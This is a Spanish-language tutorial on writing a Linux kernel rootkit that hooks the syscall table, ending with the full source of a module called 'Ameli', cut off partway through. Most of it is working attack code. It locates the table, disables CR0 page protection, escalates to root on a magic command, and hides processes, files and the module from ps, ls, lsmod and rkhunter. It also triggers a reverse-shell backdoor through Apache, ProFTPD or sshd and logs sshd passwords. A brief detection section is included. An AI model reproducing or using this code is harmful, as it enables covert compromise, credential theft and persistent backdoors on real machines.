//
//   //
//   H O O K D E S Y S C A L L E N L I N U X   //
//   //
//

Index

1-Introducción....2
2-Objetivos....2
3-Syscalls en Linux....2
4 Historia del Kernel y Syscall_table rootkits....3
5 Localizar la sct....3
5.1 System.map....3
5.2 Código en kernel mode....4
6 Parcheando la sct....5
7 Jugando con hooks....6
8 Imroot....7
....10
9 Ocultando cositas....10
9.1 Ocultando procesos....10
9.2 Ocultando ficheros y directorios....11
9.3 Ocultando el módulo....13
10 Backdooring....14
11 Sniffing passwords 17
11 Detección....18
12 Ameli.c....19

1-Introducción

En este texto vamos a hablar de como troyanizar comandos en linux haciendo hooks a syscalls del sistema (aka sct), esto está mas visto que el tebeo sí, pero vamos a hacerlo de otra manera, con la cual nos saltaremos alguna que otra protección para el admin confiado en herramientas open source o del sistema.

Por supuesto que estos métodos son detectables, pero no hay herramientas eficientes, o las que habían han desaparecido, no es muy difícil detectarlo y tambien hablaremos al respecto.

2-Objetivos.

-Ocultar el modulo en el sistema.
-Subir privilegios.
-Esconder archivos o directorios.
-Bypass de rkhunter y unhidde.
-Capturar passwords de sshd.

3-Syscalls en Linux

Vamos a explicar un poco los términos con los que trataremos, y un poco de historia del kernel en relación a la sct, así veremos el porqué de ciertas partes del programa.
La syscalls en linux serían como la API del kernel que ofrece a userland, a libc por ejemplo, al final las libs acaban pasando por ahí.

Por lo tanto son funciones que se ejecutan en el kernel llamadas desde userland, hacen su trabajo y nos devuelven a nuestro "contexto" actual de userland.

Estas syscalls se pueden llamar como hemos dicho antes desde userland, pero estan en la zona de memoria del kernel, por lo tanto no tenemos un acceso directo a esa memoria desde userland.

Para organizar todas estas fnciones tenemos una tabla en memoria donde se guardaran direcciones con todas las syscalls, se podría acceder a ellas de esta manera por ejemplo:

```
sys_call_table[__NR_open]
```

Siendo *sys_call_table* un puntero a sct y *__NC_open* un índice a la dirección de esta syscall (open).

Teniendo claro el tema de las syscalls en linux, ya intuimos por donde van lostiros... toqueteando esta tabla de direcciones podremos cambiar el flujo de estas llamadas, y si todas las libs del sistema acaban llamando a estas syscalls tenemos control total del sistema ;)

Para poder modificar esta zona de la memoria lo deberemos hacer desde código en ring0 o

kernel, por lo tanto se hará desde un módulo de kernel, hay otros métodos más sofisticados de parchear esta zona de memoria, por ejemplo kmem pero no siempre está disponible en todos los sistemas.

4 Historia del Kernel y Syscall_table rootkits.

Desde los inicios de los rootkits en el kernel de linux el método siempre ha sido el mismo:

-Encontrar la dirección de sct.
-Encontrar la direccion de la syscall a parchear.
-Parchear la syscall con una función nuestra creada.
-Hacer lo que debamos hacer en nuestra función.
-Y devolver el resultado a la syscall con parametros modificados.
-O retornar directamente sin pasar por la syscall original.
-Modificar tables o estructuras de datos para ocultar handles que nos interesen.
-Muchas mas cosas dependiendo del cannabis ingerido en ese momento ;)

Pero a medida que el kernel se ha ido actualizando los métodos han ido quedando obsoletos, creando dificultades extra para conseguir la sct y modificarla, no se si por seguridad o yo que sé, pero no es muy difícil conseguirlo.

Para ver un listado de las syscall de nuestro sistema:

/usr/include/sys/syscall.h

Teniendo claro este tema ya podemos pasar a la acción.

5 Localizar la sct.

En versiones anteriores del kernel sct se exportaba y no había ningún problema para encontrarla.

En la rama 2.6 ya no se exporta, pero tenemos varios métodos para encontrarla:

-En system map, si es que está en el sistema.
-Por código dentro del kernel hay varias maneras de encontrarla.

5.1 System.map

System.map es un archivo de texto donde se encuentran las direcciones de syscalls y mas cositas relacionadas con el kernel y ahí podremos encontrarla.

Normalmente se encuentra en el mismo directorio que el kernel con una nomenclatura del tipo System.map-VersionDelKernel:

/boot/System.map-2.6.32-19-generic

Haciendo una búsqueda de strings con el symbolo "sys_call_table" encontraremos la dirección de sct:

$ grep sys_call_table /boot/System.map-2.6.32-30-generic

ffffffff81552380 R sys_call_table ----------->our target ;)
ffffffff8155c018 r ia32_sys_call_table

El problema de este método es que puede ser que no exista un system.map en el sistema :(

5.2 Código en kernel mode.

Hay varios trucos para conseguir la sct por código pero algunos son dependientes de la plataforma y otros más costosos creo yo.

Se utilizará por lo tanto el método más compatible con todas las arquitecturas hasta que sea válido y por ahora lo és ;)

Teniendo en cuenta que tenemos una serie de constantes tipo "*__NR_close*", "*__NR_write*", "*__NR_close*" definidas en los headers del kernel, y que éstas son índices de nuestra sct hacia syscalls del sistema, podemos buscar a partir de una zona de memoria del kernel un puntero que con un índice dado "*__NR_close*", y compararlo con la syscall a la que apunta el índice, sys_close tambien exportada.

Para averiguar a partir de donde empezamos a buscar, podemos hechar un vistazo a System.map y ver que symbolos en el kernel quedan cerca de la sct, por ejemplo strncmp:

$ grep "T strncmp" System.map-2.6.32-30-generic

ffffffff812ba070 T strncmp

Bien, nuestra sct en System.map es "*ffffffff81552380*", podríamos empezar a buscar a partir de la dirección de strncmp y encontraremos nuestra sct.
No hardcodeamos un offset a partir de strcmp directamente para conseguir la sct,ya que en otro sistema el kernel puede ser diferente y por lo tanto tener otro offset.

Bien, el algoritmo para buscar la sct sería:

1-Encontrar dirección de strncmp.
2-Sumar a la dirección el indice de syscall conocida (__NR_close).
3-Comparar con esa misma syscall (sys_close).
4-Si es la misma, hemos dado con la sct.
5-Si no, incrementamos la dirección.
6-Volvemos al punto 2.

Aquí tenemos la función encargada de buscarla:

```
---------------------------------------------------------------------------------------------------------------
   unsigned long get_syscall_table(void)
        {
        unsigned long **sctable ;
        unsigned long ptr ;
        printk("Looking for sys_call_table  ;) \n");
        sctable = NULL ;
        printk("Start the search in memory from strncmp address: %lx\n",
                (unsigned long) &strncmp);
        for (ptr = (unsigned long)&strncmp; ptr < (unsigned long) MAX_LOOP+&strncmp ;
             ptr += sizeof(void *))     {
                unsigned long *p ;
                p = (unsigned long *)ptr ;
                printk("Address: %lx\n",p);
                if (p[__NR_close] == (unsigned long) sys_close){
                        sctable = (unsigned long **)p ;
                        printk(KERN_INFO "Info: sys_call_table found at %lx\n",
                                                        (unsigned long)sctable) ;
                        sys_call_table = (void*)sctable;
                        return (unsigned long) sctable ;
                }
        }
        printk("No syscall table found, try to increase the loop ;) \n");
        return(0);
}
---------------------------------------------------------------------------------------------------------------
```

6 Parcheando la sct.

A partir de una versión del kernel 2.6.2X se cambiaron los permisos de la página de memoria de la sct a read-only, deberemos pues cambiar estos permisos a write antes de parchear y volverlos a dejar como estaban cuando finalicemos el parcheo, ya que si no se podríamos dejar el kernel inestable.

Para cambiar estos permisos podemos setear el bit PE del registro cr0, con esto desactivamos el modo protegido y volvemos a modo real.

```
---------------------------------------------------------------------------------------------------------------
static void disable_page_protection(void) {
   unsigned long value;
   asm volatile("mov %%cr0,%0" : "=r" (value));
   if (value & 0x00010000) {
        value &= ~0x00010000;
        asm volatile("mov %0,%%cr0": : "r" (value));
   }
}
```

```
static void enable_page_protection(void) {
   unsigned long value;
   asm volatile("mov %%cr0,%0" : "=r" (value));
   if (!(value & 0x00010000)) {
         value |= 0x00010000;
         asm volatile("mov %0,%%cr0": : "r" (value));
   }
}
```

A partir de aquí ya podremos alterar la sct y redirigir las syscalls hacia nuestras rutinas, el algoritmo sería el siguiente:

1-Guardamos la syscall original.
2-Desactivamos la protección de página.
3-Sobreescribimos la entrada de la syscall original con la nuestra en la sct.
3-Restauramos permisos de memoria.

Y la función encargada de sobreescribir por ejemplo sys_stat:

```
static void patch_STAT(void)
{
  STAT__call = sys_call_table[__NR_stat];
  printk("Original stat syscall: %lx\n",&STAT__call);
  disable_page_protection();
  sys_call_table[__NR_stat] = STAT_hook;
  enable_page_protection();
}
```

---

7 Jugando con hooks.

Ahora que tenemos el poder en nuestras manos, entra en juego nuestra imaginación y la de otros claro (bypass antirootkits).

Este método es muy antiguo y hay gente que conoce bien el kernel y ha estado explotando muy finamente estas posibilidades, cambiando estructuras internas, tablas de descriptores para esconder procesos, archivos, sockets, etc, todo bien documentado por ejemplo en phrak.

Se han desarrollado herramientas que detectan estos vectores ya publicados:

-unhide
-chkrootkit
-rkhunter

Tenemos que pensar una manera de saltarse estas protecciones y herramientas del sistema tales como:

-ps
-ls
-cat
-find
-lsmod
-pstree
-top

Los antirootkits actuales hacen comprobaciones de ficheros, librerías del sistema modificadas o propias de los rootkits, tienen un listado de todos los rootkits en el mercado jeje, una rutina de detección para cada rootkit y rutinas generales con comandos del sistema.

Unhidde busca procesos escondidos verficando la información obtenida de /proc y contrastándola con funciones del sistema que no utilizan /proc si no tablas internas del kernel.

Vamos a ir diseñando nuestros propios ataques para ir cumpliendo nuestros objetivos, aunque siempre basados en el mismo truquillo jeje.

8 Imroot

Un punto básico de un rootkit es poder hacerse root en el sistema no?

Necesitaremos parchear una syscall que llamada desde userland detecte quien somos y subir los privilegios de ese proceso.

Aquí los métodos anteriores no funcionan, el kernel cambia y las estructuras con él, antes era mas sencillo algo parecido a esto:

```
pid->euid = 0;
pid->egid = 0;
```

En kernels actuales una manera sería obtener un struct de creds, setear los ids y hacer commit de la información:

```
---------------------------------------------------------------------------------------------------------------
static void getRoot(void)
{
        struct cred *creds = prepare_creds();
        creds->uid = creds->euid = 0;
        creds->gid = creds->egid = 0;
        commit_creds(creds);
}
---------------------------------------------------------------------------------------------------------------
```

Ahora queda saber la syscall a parchear, detectar que somos nosotros y ejecutar esta rutina, y el proceso obtendrá uid 0.

Pues no es tan fácil como parece, dependiendo de cuando se ejecute la syscall devuelve al proceso su uid original.

Esto no siempre es cierto como ya veremos, pero los ejemplos de hookear syscalls y entonces ejecutar la rutina no siempre devuelven root.

Despues de bastantes pruebas con strace, que es una herramienta que tracea en linea de comandos todas las llamadas a funciones de un ejecutable, para buscar una candidata al hook, veo que fstat se llama muchas veces para cada ejecutable, jejeje.

Veamos un ejemplo de la salida de strace con ls:

```
$ strace ls
execve("/bin/ls", ["ls"], [/* 35 vars */]) = 0
brk(0)                                  = 0x2070000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|
MAP_ANONYMOUS, -1, 0) = 0x7fceb11f4000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=140089, ...}) = 0
ystem.map-2.6.35-25-generic vmlinuz-2.6.32-25-generic
) = 147
write(1, "abi-2.6.32-30-generic\t     conf"..., 149abi-2.6.32-30-generic          config-
2.6.35-22-generic          initrd.img-2.6.35-22-generic          vmcoreinfo-2.6.32-19-generic
vmlinuz-2.6.32-27-generic
) = 149
write(1, "abi-2.6.33-020633-generic     co"..., 151abi-2.6.33-020633-generic     config-
2.6.35-25-generic          initrd.img-2.6.35-25-generic          vmcoreinfo-2.6.32-22-generic
vmlinuz-2.6.32-28-generic
) = 151
write(1, "abi-2.6.34-020634rc4-generic  fi"..., 126abi-2.6.34-020634rc4-generic
findsct.c                                memtest86+.bin                          vmcoreinfo-2.6.32-23-
generic          vmlinuz-2.6.32-30-generic
) = 126
write(1, "abi-2.6.35-22-generic\t     grub"..., 135abi-2.6.35-22-generic          grub
                  System.map-2.6.32-19-generic       vmcoreinfo-2.6.32-24-generic
vmlinuz-2.6.33-020633-generic
) = 135
write(1, "abi-2.6.35-25-generic\t     init"..., 157abi-2.6.35-25-generic          initrd.img-
2.6.32-19-generic     System.map-2.6.32-22-generic     vmcoreinfo-2.6.32-25-generic
vmlinuz-2.6.34-020634rc4-generic
) = 157
write(1, "config-2.6.32-19-generic      in"..., 152config-2.6.32-19-generic      initrd.img-
2.6.32-22-generic     System.map-2.6.32-23-generic     vmcoreinfo-2.6.32-27-generic
vmlinuz-2.6.35-22-generic
) = 152
write(1, "config-2.6.32-22-generic      in"..., 152config-2.6.32-22-generic      initrd.img-
2.6.32-23-generic     System.map-2.6.32-24-generic     vmcoreinfo-2.6.32-28-generic
vmlinuz-2.6.35-25-generic
```

```
        ) = 152
        write(1, "config-2.6.32-23-generic      in"..., 125config-2.6.32-23-generic      initrd.img-
2.6.32-24-generic     System.map-2.6.32-25-generic     vmcoreinfo-2.6.32-30-generic
        ) = 125
        close(1)                        = 0
        munmap(0x7fceb106e000, 4096)          = 0
        close(2)                        = 0
        exit_group(0)                     = ?
```

Cuanta información para nuestros propositos no?

Aquí no se llama a stat pero si a fstat y acaba llamando a sys_stat.

Bash para cada ejecutable lo primero que hace es buscarlo en los paths del sistema y lo hace haciendo llamadas a fstat es mas, si nosotros ejecutamos un comando inexistente por ejemplo imroot:

```
$ imroot
imroot: command not found
```

Intetamos tracear con strace a ver que pasa:

```
$ strace imroot
strace: imroot: command not found
```

No obtenemos información, el comando no existe, pero sí que bash ha ejecutado stat tantas veces como paths tengamos configurados en nuestra variable de entorno PATH, y bash lo ha ejecutado nuestro usuario.

Por lo tanto si hookeamos sys_stat y detectamos en sus parametros nuestro comando inexistente, la función para obtener root se va a ejecutar tantas veces como paths tengamos en nuestra variable PATH, jejeje aqui el kernel no pudo devolver el pid original y obtenemos root.

Nuestra función stat_hook encargada de todo esto:

```
asmlinkage int STAT_hook(char __user *filename, struct __old_kernel_stat __user *statbuf)
{
        if(strstr(filename,MAGIC_KEY)){
                printk("Hooked stat ...getting root ;) : %s\n",filename);
                getRoot();
        }
        return STAT__call(filename, statbuf);
}
```

---

9 Ocultando cositas.

Bien, llegados a este punto debemos esconder el módulo, procesos y archivos a ojos del admin, el cual normalmente utilizará comandos del sistema, y éstos se ejecutan en consola, para escribir en estos terminales se llama a la syscall sys_write, con un descriptor apuntando a stdout, la cadena a mostrar y el número de bytes.

*int sys_write(unsigned int fd, const char __user *buf, size_t count)*

Sys_write retorna el número de bytes escritos, podemos jugar con estos valores para modificar la llamada original a sys_write y retornar el valor original a quien llamo a sys_write normalmente write en userland creo que libc, si nosotros retornaramos un valor de bytes menor del recibido, write(libc) volverá a llamar a sys_write con los bytes restantes.

Vamos pues a hacer un hook a write, comprobando en cada llamada que sea de un ejecutable de nuestra lista, si es así suprimiremos lo que nosotros queramos, la lista negra serán los comandos antes mencionados:

-ps
-ls
-cat
-find
-lsmod
-pstree
-top

9.1 Ocultando procesos

Para identificar el proceso que ejecutó nuestro hook_write, tenemos una estructura current (tipo task_struct) apuntando a nuestro proceso que nos dará esa información y mucho más.

En el miembro "comm" está el nombre del comando ejecutado dentro de nuestra hook_write, podríamos hacer un filtro y si es un comando de la lista procesamos el buffer pasado a write, vamos a filtrar comandos que muestren los procesos del sistema y si en ese buffer esta nuestro proceso, descartaremos la llamada a write original.

```
---------------------------------------------------------------------------------------------------------
asmlinkage int WRITE_hook(unsigned int fd, const char __user *buf, size_t count)
{
        if( strstr(current->comm,PS_EXEC) || strstr(current->comm,TOP_EXEC) ||
                strstr(current->comm,PSTREE_EXEC)){
                if(strstr(buf,MAGIC_PROCESS) != NULL ) return count;
        }
        return WRITE__call(fd, buf, count);
}
---------------------------------------------------------------------------------------------------------
```

Con esto ya hemos ocultado nuestro proceso, de los comandos ps, top y pstree.

9.2 Ocultando ficheros y directorios

Si quisieramos ocultar archivos o directorios utilizaríamos el mismo método para l*s, find y du* por ejemplo, aunque nos encontramos con algún obstáculo que otro.

El comando *ls* tiene muchos parámetros y dependiendo de éstos, se listaran con un formato u otro, es más costoso eliminar la entrada, ya que debemos procesar el buffer obtenido, y volver a generar la lista ordenada correctamente y todo esto dentro del kernel :(no mola.

Es decir *ls* a veces llamará a write con una buffer que contendrá varios ficheros + "nuestro_fichero" y otras veces llamará a write con una linea para cada fichero y es posible que más información, permisos, tamaño, etc del mismo.

Vamos a poner un ejemplo para que se vea mas claro, listemos sin parametros el directorio tmp con un fichero que se debería ocultar llamado "*madalenas*":

```
sylkat@sylkat-desktop:/tmp$ touch madalenas
sylkat@sylkat-desktop:/tmp$ ls
gedit.sylkat.3492032259  madalenas  orbit-sylkat              pulse-PKdhtXMmr18n  virtual-sylkat.D2yc1b     virtual-sylkat.Vw5gbc
keyring-m16mQt           orbit-gdm   pulse-HjgqkeFNmRkM  ssh-WsIPiE2059          virtual-sylkat.lLb1bc
```

Esta sería la salida de ls (super reducida) sin parámetro ninguno y sin ocultar el fichero *madalenas*, en cambio si eliminamos del buffer en write la cadena "*madalenas*", se descuadra toda la lista quedando algo tan sospechoso como esto:

```
sylkat@sylkat-desktop:/tmp$ ls
gedit.sylkat.3492032259      orbit-sylkat      pulse-PKdhtXMmr18n  virtual-sylkat.D2yc1b  virtual-sylkat.Vw5gbc
keyring-m16mQt           orbit-gdm  pulse-HjgqkeFNmRkM  ssh-WsIPiE2059      virtual-sylkat.lLb1bc
```

Como vemos se ha eliminado la cadena del buffer pero la lista ha quedado mal formateada, en cambio para el mismo comando pero con los argumentos "-lah":

```
sylkat@sylkat-desktop:/tmp$ ls -lah
total 112K
drwxrwxrwt 19 root    root   32K 2011-03-23 20:30 .
drwxr-xr-x 23 root    root  4,0K 2011-03-23 20:26 ..
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:30 .esd-1000
drwx------  2 gdm     gdm   4,0K 2011-03-23 20:30 .esd-114
srwxr-xr-x  1 sylkat sylkat    0 2011-03-23 20:30 gedit.sylkat.1586195679
drwxrwxrwt  2 root    root  4,0K 2011-03-23 20:29 .ICE-unix
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:29 keyring-vZ2pvV
drwx------  2 gdm     gdm   4,0K 2011-03-23 20:29 orbit-gdm
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:30 orbit-sylkat
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:30 pulse-MQC8BlAbl7Qf
drwx------  2 gdm     gdm   4,0K 2011-03-23 20:30 pulse-PKdhtXMmr18n
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:29 ssh-eFwXrI2334
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:29 virtual-sylkat.jWheXt
```

```
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:29 virtual-sylkat.L4KrLu
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:26 virtual-sylkat.li9VPv
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:26 virtual-sylkat.r7idkw
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:26 virtual-sylkat.VWdhhw
drwx------  2 sylkat sylkat 4,0K 2011-03-23 20:29 virtual-sylkat.ywYNtu
drwxr-xr-x  2 root    root  4,0K 2011-03-23 20:26 .winbindd
-r--r--r--  1 root    root    11 2011-03-23 20:29 .X0-lock
drwxrwxrwt  2 root    root  4,0K 2011-03-23 20:29 .X11-unix
```

Sí que podemos eliminar la linea correctamente y todo queda perfecto, eso si, deberemos detectar cuando el comando ls se ha lanzado con argumentos y cuando no, para eliminar la linea entera, o solo eliminar la cadena del listado.

Para detectar si ls se lanzó con el argumento de listado por linea(ls -l) hay una estructura en el kernel dentro de nuestra task_struct current, que nos dará información de los argumentos del commando ejecutado, esta es *mm* y accederemos a nuestros argumentos a través de:

```
current>mm->arg_start;
current->mm->arg_end;
```

Con esto ya podemos parsear los argumentos a *ls,* definamos el algoritmo del hook a *ls*:

1-Detectamos que se llamó a ls
2-Detectamos que en la salida de ls está nuestra cadena a buscar.
3-Buscamos en los argumentos de ls el flag -l
4-Si es así, retornamos del write sin hacer la llamada original, no se imprime la linea entera.
5-Se ha llamado a ls sin argurmentos, deberemos procesar el buffer, eliminar la cadena y llamar al write original.

El siguiente código implementa el algoritmo.

```
asmlinkage int WRITE_hook(unsigned int fd, const char __user *buf, size_t count)
{
    if(strstr(current->comm,LS_EXEC)) {
        char *hiddBuff=strstr(buf,MAGIC_STRING);
        if( hiddBuff != NULL){
            char *s=(char*)current->mm->arg_start;
            char *e=(char*)current->mm->arg_end;
            char *p=s;
            while(p<e){
                if(p[0] == '-' && p[1] !='-'){
                    if(strstr(p,"l") != NULL){
                        return count;
                    }
                }
                p+=strlen(p);
                p++;
            }
            removeMagicString(hiddBuff, count);
        }
    }
```

```
  return WRITE__call(fd, buf, count);
}


static void removeMagicString(char __user *buff,int count)
{
   int i;
   char *pBuf=(char *) buff;
   char *p=buff+strlen(MAGIC_STRING)+2;
   for(i=0;i<count-strlen(MAGIC_STRING);i++){
            pBuf[i]=p[i];
            if(p[i]=='\n'){
               break;
   }
}
   for(i++;i<count;i++) pBuf[i]='\0';
}
```

Para find y du no hay problemas, ya que siempre muestran una linea por fichero.

9.3 Ocultando el módulo

Hay un método con el cual escondemos el módulo elimininándolo de una lista del kernel con la contra que tampoco podremos eliminarlo del sistema, se quedará para siempre cargado hasta que se reinicie el kernel.

Podemos eliminar la salida por pantalla de los comandos que se utilizan para listar módulos, que serían "*lsmod*" y "*cat /proc/modules*", es más, este es el truco empleado en algún antirootkit para detectar incoherencias en el sistema con los módulos cargados.

Rkhunter genera una salida con estos comandos y si difiere en algo, es que algo esta pasando y salta una alarma.

```
 PROC_OUTPUT=`cat ${RKHROOTDIR}/proc/modules | cut -d' ' -f1 | ${SORT_CMD}`
 LSMOD_OUTPUT=`${LSMOD_CMD} | grep -v 'Size *Used *by' | cut -d' ' -f1 | $
{SORT_CMD}`
```

Investigando con strace vemos que *lsmod* hará una llamada *write* por cada modulo a listar y *cat* enviará un buffer con todos los modulos en una única llamada a *write*, manejando los saltos de linea con el caracter '\n'.

Con detectar nuestro modulo en el buffer, eliminar la linea y retornar a write original limpiamos la salida.

```
if(strstr(current->comm,LSMOD_EXEC) || strstr(current->comm,CAT_EXEC) ){
        if(strstr(buf,MAGIC_MODULE) != NULL ) {
                char *hiddBuff=strstr(buf,MAGIC_MODULE);
                int x,i;
                for(x=0;hiddBuff[x]!= '\n';x++);
                x++;
                for(i=0;i<count-x;i++){
                        hiddBuff[i]=hiddBuff[i+x];
                }
                WRITE__call(fd, buf, i);
                return count;
        }
}
```

---

10 Backdooring

Otra funcionalidad que debe tener un rootkit es dejar una puerta trasera cuando no estemos en el sistema, una reverse shell por ejemplo.

Para ello podemos detectar alguna señal en el kernel y lanzar un proceso que nos envíe la shell, vamos a capturar syscalls de los siguientes servicios:

-Apache
-Profptd
-SShd

Para saber las syscalls que están llamando estos daemons, utilizamos strace con parámetros de attach, ya que éstos ya se estan ejecutando en el sistema, además para sshd deberemos lanzar strace para que siga los forks que hace cuando recibe una nueva petición:

El método para enviar una señal al kernel a través de estos servicios será:

1-En apache accederemos a una url del servidor, con nuestra palabra secreta "BACK_KEY".
2-En profptd haremos un intento de login con nuestra palabra secreta "BACK_KEY".
3-En sshd haremos un intento de login con nuestra palabra secreta "BACK_KEY".

Con strace descubrimos que la syscall sys_write es llamada para cada uno de los daemons mencionados ;)

Hay que investigar un poco las llamadas a write, y ver como obtener las cadenas buscadas, en el caso de apache y proftpd no hay problema, pero en sshd deberemos saber que la llamada sys_write con nuestro login se hará con 3 nulls al principio '*\0\0\0?USER*', y jugando con printk no nos mostrará cadena alguna, deberemos filtrar pues esos 3 nulos y confiar en el fd y count para encontrar nuestra cadena.

Vamos a ver un poco mas de cerca el proceso de investigación con strace, por ejemplo con sshd:

```
strace -f -p `pidof sshd` -o sshd_strace.log
```

Y ahora accedemos al servicio ssh:

```
$ssh sylkat@localhost
sylkat@localhost's password:
```

Ya podemos mirar los logs de strace y descubrir como se está llamando a write para el login sylkat:

```
# grep sylkat sshd_strace.log
19522 write(4, "\0\0\0\6sylkat", 10 <unfinished ...>
19521 <... read resumed> "\7\0\0\0\6sylkat", 11) = 11
```

Vemos que aparte de sys_write tambien utiliza sys_read, pero hacer hooks a sys_read puede generar una exception en el kernel que dejará una alarma en el kernel log.

El fd que ha utilizado es el 4, y sabemos que los 4 primeros carácteres son 3 nulls seguidos de un '6'(int) este último es variable por lo que no podremos filtrar por él.

Pues con esto ya podremos enviar desde una red que tenga acceso a estos servicios una señal al kernel para que nos abra la puerta.

Para ejecutar un proceso userland desde el kernel tenemos una función "call_usermodehelper" a la que llamaremos cuando detectemos la señal.

Para saber la ip a la que se enviará la shell, la codificaremos en nuestra cadena "BACK_KEY" y nuestro módulo lanzará la shell con la ip como argumento o lo que queramos.

Aquí esta el código en sys_write que detectará la "BACK_KEY" y llamará a la función que ejecutará el reverse-shell, no se procesa la ip, esto lo dejamos como ejercicio para el lector jejeje:

```
---------------------------------------------------------------------------------------------------------------
if(  strstr(current->comm,APACHE_EXEC)){
        if(strstr(buf,BACK_KEY) != NULL){
            exec_shell();
        }
}
if(  strstr(current->comm,PROFTPD_EXEC)){
        if(strstr(buf,BACK_KEY) != NULL){
            exec_shell();
        }
}
if(  strstr(current->comm,SSHD_EXEC)){
        if(fd == 4 && count >5 && count < 45){
            char *p = buf;
            int i;
            if(p[0]==0 && p[1]==0 && p[2]==0 && p[4]!=0 ){
                if(strstr(buf,BACK_KEY) != NULL){
                    exec_shell();
                }
            }
        }
}

static int exec_shell( void) {
        char *argv[] = { "/home/sylkat/colacao.sh", NULL };
        static char *envp[] = {
                    "HOME=/",
                    "TERM=linux",
                    "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
        return call_usermodehelper( argv[0], argv, envp, UMH_WAIT_PROC);
}
---------------------------------------------------------------------------------------------------------------
```

11 Sniffing passwords

En el punto anterior investigamos el servicio sshd y vimos que el user queda capturado en write, es posible que el password tambien ;)

No hay mucho que explicar, el filtro anterior tambien nos captura el password y una cadena extra "ssh-connection", solo añadiendo una linea al código tenemos capturados los user/pass del servicio sshd en este ejemplo lo haremos con printk:

```
if(  strstr(current->comm,"sshd")){
        if(fd == 4 && count >5 && count < 45){
                char *p = buf;
                int i;
                if(p[0]==0 && p[1]==0 && p[2]==0 && p[4]!=0 ){
                        for(i=4;i<count;i++)printk("%c",p[i]);
                        printk("\n");
                        if(strstr(buf,BACK_KEY) != NULL){
                                exec_shell();
                        }
                }
        }
}
```

```
$ dmesg

[ 2519.738656] mikelet
[ 2519.744616] ssh-connection
[ 2523.649777] x3p12345
[ 2688.510976] sylkat
[ 2688.518887] ssh-connection
[ 2690.384189] a1sdfasf
[ 4575.707920] pepito
[ 4575.708848] ssh-connection
[ 4580.202877] delospalotes
```

11 Detección

Para detectar los hooks en el kernel se debería primero de todo, ser consciente de este tipo de ataques y preparar el sistema al instalar un nuevo kernel, generando un listado de direcciones de la sct y todas las syscalls, esto tambien lo podemos obtener de System.map.

Y periodicamente pasar un scan para ver si alguna syscall ha sido sobreescrita.

Esto solo es viable cuando sobreescribimos la sct, pero y si sobreescribimos los primeros bytes de la syscall y la redirigimos a nuestro hook como hacen virus y demás en windows?

Hay otros métodos jugando con sysenter que tambien se deberían de detectar.

No es trivial pues detectar estos métodos si se han utilizado injertos en puntos de código de la syscall, aunque si nos ponemos burros siempre se podría generar un listado con los bytes originales de la syscall y scanear éstos.

No he encontrado herramientas en la red que detecten hooks en el kernel de linux y creo que los programas de seguridad rkhunter y chkrootkit tendrían mas fiabilidad si incorporaran tales métodos.

12 Ameli.c

```
---------------------------------------------------------------------------------------------------------------
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/syscalls.h>
#include <asm/unistd.h>
#include <linux/semaphore.h>
#include <asm/cacheflush.h>
#include <linux/sched.h>
#include <linux/cred.h>

#define MAX_LOOP 3715448
#define MAGIC_KEY "imroot"
#define MAGIC_MODULE "ameli"
#define MAGIC_FILE "madalenas"
#define MAGIC_PROCESS "colacao"
#define LSMOD_EXEC "lsmod"
#define CAT_EXEC "cat"
#define LS_EXEC "ls"
#define FIND_EXEC "find"
#define PS_EXEC "ps"
#define DMESG_EXEC "dmesg"
#define TOP_EXEC "top"
#define PSTREE_EXEC "pstree"
#define APACHE_EXEC "apache2"
#define PROFTPD_EXEC "proftpd"
#define BACK_KEY "RETURN_AMELI"


unsigned long get_syscall_table(void);
static void disable_page_protection(void);
static void enable_page_protection(void);
static void doHook(void);
static void patch_STAT(void);
static void restore_STAT(void);
static void getRoot(void);
static void restore_WRITE(void);
static void patch_WRITE(void);
static void removeMagicString(char *,int );
static int exec_shell( void);

asmlinkage long (*STAT__call) (char __user *filename, struct __old_kernel_stat __user
*statbuf);
asmlinkage int (*WRITE__call) (unsigned int fd, const char __user *buf, size_t count);

void **sys_call_table;
char *MAGIC_STRING = MAGIC_FILE;
static int lsmodRt;
int init_module(void)
{
```

```
        int i=get_syscall_table();
        if(i!=0)doHook();
        return (0);
}

unsigned long get_syscall_table(void)
{
   unsigned long **sctable ;
        unsigned long ptr ;
        sctable = NULL ;
        for (ptr = (unsigned long)&strncmp;
                ptr < (unsigned long) MAX_LOOP+&strncmp;
                ptr += sizeof(void *))
        {
                unsigned long *p ;
                p = (unsigned long *)ptr ;
                if (p[__NR_close] == (unsigned long) sys_close){
                sctable = (unsigned long **)p ;
                        sys_call_table = (void*)sctable;
                        return (unsigned long) sctable ;
                }
        }
        printk("No syscall table found, try to increase the loop ;) \n");
        return(0);
}

static void disable_page_protection(void) {

   unsigned long value;
   asm volatile("mov %%cr0,%0" : "=r" (value));
   if (value & 0x00010000) {
        value &= ~0x00010000;
        asm volatile("mov %0,%%cr0": : "r" (value));
   }
}

static void enable_page_protection(void) {

   unsigned long value;
   asm volatile("mov %%cr0,%0" : "=r" (value));
   if (!(value & 0x00010000)) {
        value |= 0x00010000;
        asm volatile("mov %0,%%cr0": : "r" (value));
   }
}

asmlinkage int STAT_hook(char __user *filename, struct __old_kernel_stat __user *statbuf)
{
  if(strstr(filename,MAGIC_KEY)){
        printk("Hooked stat ...getting root ;) : %s\n",filename);
        getRoot();
  }
```

```
        return STAT__call(filename, statbuf);
}

asmlinkage int WRITE_hook(unsigned int fd, const char __user *buf, size_t count)
{
   if( strstr(current->comm,PS_EXEC) || strstr(current->comm,TOP_EXEC) || strstr(current-
>comm,PSTREE_EXEC)){
        if(strstr(buf,MAGIC_PROCESS) != NULL ) return count;
   }
   if(  strstr(current->comm,APACHE_EXEC)){
